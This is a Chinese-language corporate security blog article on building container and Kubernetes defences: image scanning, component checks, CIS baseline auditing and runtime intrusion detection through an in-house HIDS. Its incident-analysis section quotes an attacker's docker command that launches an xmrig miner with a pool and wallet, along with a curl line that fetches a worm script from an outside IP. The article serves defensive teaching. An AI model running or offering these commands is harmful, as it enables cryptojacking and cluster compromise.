随着云计算的发展,以容器和微服务为代表的云原生技术,逐步在企业中广泛使用,其中Docker和Kubernetes (k8s)是企业容器运行时和容器编排的首要选择。但在容器应用和K8S使用过程中,伴随云原生技术也逐步产生一系列新的安全问题,如何保障业务的容器安全,使得安全能力内嵌到云原生中已成为各企业关注的焦点。
本文结合货拉拉在业务逐步迁移容器化过程中,分享信息安全部在容器安全的落地实践经验,以供参考。
一、k8s经典容器安全事件
1.1 k8s组件简介
在k8s集群中,有两种性质的物理节点,一个是Master管理节点,下图中的Control Plane,另一个是Node工作节点。
Master负责整个集群的资源调度,Master节点上面主要由四个模块组成:APIServer、scheduler、controller manager、etcd。Node是执行启动容器的节点,每个Node节点主要由三个模块组成:kubelet、kube-proxy、container runtime。下图kubernetes中文网k8s组件图。
k8s APIServer负责处理接受请求的工作,默认情况,提供HTTP的两个端口:8080(Localhost Port)和 6443(Secure Port),8080端口为web管理平台,无需认证;6443端口需要认证且有TLS保护,用于远程连接授权。
1.2 k8s未授权安全事件
某公司在某公有云部署的k8s集群未授权访问遭到入侵,集群节点全部沦陷,被植入挖矿程序,严重影响业务。根本原因是k8s集群鉴权配置不当,将"system:anonymous"用户设置为"cluster-admin"用户组,攻击者通过APIServer的6443端口匿名访问控制k8s APIServer,控制整个k8s集群大脑,再遍历选择Node结点创建Pod,下发执行挖矿和横向移动动作。
此次k8s集群攻击流程如下所示:
1、攻击者访问/apis/v1/nodes?limit=500, 获取所有Nodes结点。
2、攻击者通过k8s API Server会在指定Node创建一个Pod,该Pod启动docker:latest镜像,在镜像内部通过command参数再启动一个特权容器,与主机共享进程、网络空间。
3、攻击者在特权容器内部启动DockerHub上的“hsww/xmrig-centos7”挖矿镜像:
docker run -dit --restart always --name k8s_Pod_coredns-deploy-5124333766-2ret5k_kube-system_e279b644-708b-11ea-ab98-12x8fd333dbc2_0 hsww/xmrig-centos7 -o xmr-eu2.nanopool.org:14444 -u 47YMfiGEidNWZdkVZNWDkZj7LRC5MAVLd14i6xYyX2ag4nDvAXDqk8FSDwTmHTyVHnFUVhw6gnApp3N6HfyJFC1F995RSfU -p worker -a rx/0
4、攻击者下发蠕虫脚本
curl http://1.177.165.231/sd/T3llyz.sh
5、该T3llyz.sh脚本 首先会从ip为1.177.165.231下载xmrig挖矿安装包T3llyz.tar.gz,然后解压安装启动xring挖矿程序,并清理这过程中产生的日志,最后利用/root和/home下的ssh key进行横向移动传播。
二、容器安全建设背景
随着货拉拉业务的扩大,业务服务逐步从云上的ecs虚拟机部署迁移容器,实现服务的快速迭代,敏捷开发,更好的降本增效。业务在容器部署后,传统的像主机安全问题也并没有消失,比如getshell、挖矿、web应用入侵等依然存在,新增加k8s多个服务节点、容器Pod与宿主机ecs共享内核、namespace隔离机制不彻底等原因,导致docker面临新的安全问题;容器的安全攻击场景发生变化,从原来的ecs入口转变成Pod入口,并且能横向到相邻容器,甚至越权到宿主机、k8s的Master集权管理节点,容易造成严重的安全事件。
三、容器安全建设指导
货拉拉容器安全建设主要围绕 容器的全生命周期和容器的k8s威胁矩阵。
3.1 容器全生命周期
从容器的整个生命周期看,包括从镜像构建、编排分发、容器运行、销毁主要的这四个阶段,因此容器安全建设根据生命周期拆分成四项核心安全能力,分别是镜像安全、生态安全、基线安全、运行时安全。在镜像生成阶段,对应镜像安全,主要检查是否是有毒的镜像;在容器编排阶段,对应是容器生态安全,主要检查k8s依赖的组件(像APIServer)是否安全;在容器启动后,对应是运行时基线安全和运行时安全,基线安全检查Pod启动后一些不合规配置;运行时安全面临主机安全类似的反入侵检测场景。
3.2 微软k8s威胁矩阵
容器安全各模块详细的安全能力,主要是参考微软发布的k8s威胁矩阵。国内阿里云、腾讯云也发布各自的类似k8s矩阵,供安全建设参考。
上述矩阵图中将已知的容器攻击场景列入att&ck矩阵中,分为初始访问(Initial Access)、执行(Execution)、持久化(Persistence)、权限提升(Privilege escalation)、防御逃逸(Defense evasion)、窃取凭证(Credential access)、探测(Discovery)、横向移动(Lateral movement)、危害(Impact) 九个阶段。
在初始访问、窃取凭证阶段,主要涉及是容器的镜像安全、生态安全的相关能力;在执行、持久化、权限提升、横向移动等阶段是容器运行时基线、运行时安全的检测场景。
四、容器安全实践
4.1 镜像安全
镜像安全检查是否是含毒镜像,主要检测存在敏感信息(密码、密钥等)泄漏、高危cve漏洞、 后门和恶意软件等安全问题。
镜像安全检测主要流程:CICD推送镜像到镜像仓库后,发起镜像扫描。当前我们使用某云镜像扫描能力,主要包括两部分,第一部分扫描镜像层信息,构建镜像时所使用的命令和配置参数,还原镜像文件构建过程,另外像开源的clair, dockerscan都有提供这方面镜像扫描能力,各有不同侧重点;第二部分主要是扫描系统软件的cve漏洞信息。
4.2 生态安全
容器生态安全主要扫描k8s集群容器编排的依赖组件,检测点包括:对k8s的Master管理节点、Node工作节点上的服务进行配置检查、安全策略检查和接口安全等检查。
例如扫描检测Master结点APIServer服务未授权、k8s config配置;Node结点上kublet api未授权、docker rest api等安全风险。
4.3 容器基线安全
容器基线安全检测Pod在运行后不合理的安全基线配置,当前主要根据CIS-Docker、CIS-Kubernetes Benchmark最佳实践方案,挑选高风险的基线项,自定货拉拉Pod安全基线运营。
基线检测项示例:对特权容器privileged检测;宿主机敏感系统目录(/, /boot, /dev, /etc, /proc, /sys)不允许挂载在容器Pod中;端口映射检测,特权端口禁止映射到容器内(1-1024),只映射必要端口;检测Pod开启CAP_SYS_PTRACE、CAP_SYS_ADMIN等CAP权限等等。
Pod开启特权容器或敏感系统(/根目录)被挂载时,攻击者利用漏洞进入Pod容器内,可以操作宿主机文件,达到容器逃逸的目的;Pod在开启CAP_SYS_ADMIN,允许执行系统管理任务,例如加载或卸载文件系统,安全风险较大。
下面是扫描一个Pod基线结果,详细列出Pod的基础信息以及对应安全基线不合规等级和详细项,方便安全运营跟踪处理。
4.4 容器运行时安全
部署的业务服务在容器内会面临宿主机ecs同样反入侵安全问题,容器运行时安全也按入侵攻击链拆分出攻击事前、事中、事后三个阶段,以k8s威胁矩阵参考,建设运行时安全检测能力。
事前侧重点梳理docker的资产、开放端口和业务进程等 ;事中同主机安全检测同类似的安全场景,爆破、反弹shell和命令注入等场景;事后主要围绕应急溯源相关的基础审计,像登入记录、Pod容器命令执行记录等
五、安全架构实现
货拉拉业务部署在国内外多朵云环境, 为降低成本和提高安全运营效率,安全部自研实现主机安全HIDS统一部署和运营。
5.1 HIDS架构
主要有三个安全组件(Agent端、Server、管控端)和一个数据中心存储层。在ecs主机上需要部署一个探针Agent,Agent端实现分层,包括最基础数据采集层、数据处理层、安全检测引擎;后端部署多个服务端,接收Agent发来的基础数据、告警,分别存入数据中心的Mysql、ES、Hive等存储中,告警也会同时推送到办公IM,实时跟进。
5.2 安全技术选型
在开展容器安全技术调研,分别从基础数据采集方案、兼容性、架构调整、安全场景扫描、Agent部署运维、安全运营效率等多种维度评估权衡后,最终决定将主机、容器安全能力统一在自研主机安全Agent端,实现多个基础采集和检测模块复用。Agent安装包会预置到宿主机镜像,实现增量自动部署,主机、容器安全入侵检测能力自动化支持。
Agent端核心逻辑从宿主机内核采集进程等基础数据,关联容器Pod,富化补齐Pod基础信息,打上Pod标签,审计数据被传递给上层安全检测引擎,实现容器安全检测能力。
这是在容器入侵安全场景中检测一个反弹shell例子,告警中包括当前Pod所在宿主机ip信息;反弹shell使用方式,以及父子进程等详细信息;同时也展示出Pod对应资产归属,方便安全运营同学高效应急排查。
六、总结和思考
伴随着云原生发展,企业在应用云原生技术时,需要考虑容器安全能力,让安全与云原生相融合,提供类似基础设施一样安全能力,成为内生安全,更好地保护业务系统。
货拉拉以容器的全生命周期落地实践,当前在多朵云容器环境全量部署稳定运行近两年,并持续迭代建设和运营,为业务保驾护航。然而安全攻防是一个持续对抗的过程,为了实现与业务更好的安全平衡融入,我们也在不断探索epbf和network policy网络微隔离等技术实现更精细的安全能力,敬请期待下次分享。
引用链接
1、k8s安全事件 https://www.cdxy.me/?p=833
2、k8s架构图 https://kubernetes.io/zh-cn/docs/concepts/overview/components/
3、微软k8s威胁矩阵 https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/